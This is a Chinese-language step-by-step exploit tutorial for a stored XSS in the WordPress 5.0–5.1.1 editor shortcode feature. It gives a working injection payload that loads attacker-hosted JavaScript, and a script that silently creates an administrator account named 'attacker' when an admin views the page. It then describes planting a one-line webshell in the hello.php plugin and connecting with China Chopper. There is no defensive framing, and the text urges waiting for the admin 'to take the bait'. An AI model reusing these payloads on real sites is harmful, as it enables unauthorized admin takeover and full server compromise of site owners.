基本描述:
利用编辑者权限(普通用户)添加文章,使用wordpress新版编辑器内的【短代码】功能添加HTML编码字符【< >】左尖角和右尖角符号实现XSS
当管理员账号访问到该编辑页面时,将会执行XSS攻击,成功通过POC添加一个管理员账号
WordPress 5.0到5.0.4,5.1和5.1.1版本。
1.wordpress搭建
2.添加拥有编辑权限的用户账号
3.登录test账号,添加短代码测试XSS
XSS代码:
<img src=x onerror=alert(1)>
4.准备一个web服务器存放js代码(xss.js)
目的:
访问js,添加attacker用户,密码attacker
// Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];
// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);
6.添加一篇文章,添加短代码实行xss攻击,等待管理员上钩(注意修改链接)
"><img src=1 onerror="javascript:(function () { var url = 'http://链接/xss.js';if (typeof beef == 'undefined') { var bf=document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">
7.等待管理员,访问该编辑页
如图所示,已经成功添加attacker用户,是管理员权限
8.通过编辑插件hello.php填入一句话木马
注意:这里可以有多种方式,可以利用404.php,可以利用默认插件等等,注意随机应变
9.中国菜刀直接砍过去
http://域名或者IP地址/wp-content/plugins/hello.php
10.成功获得WebShell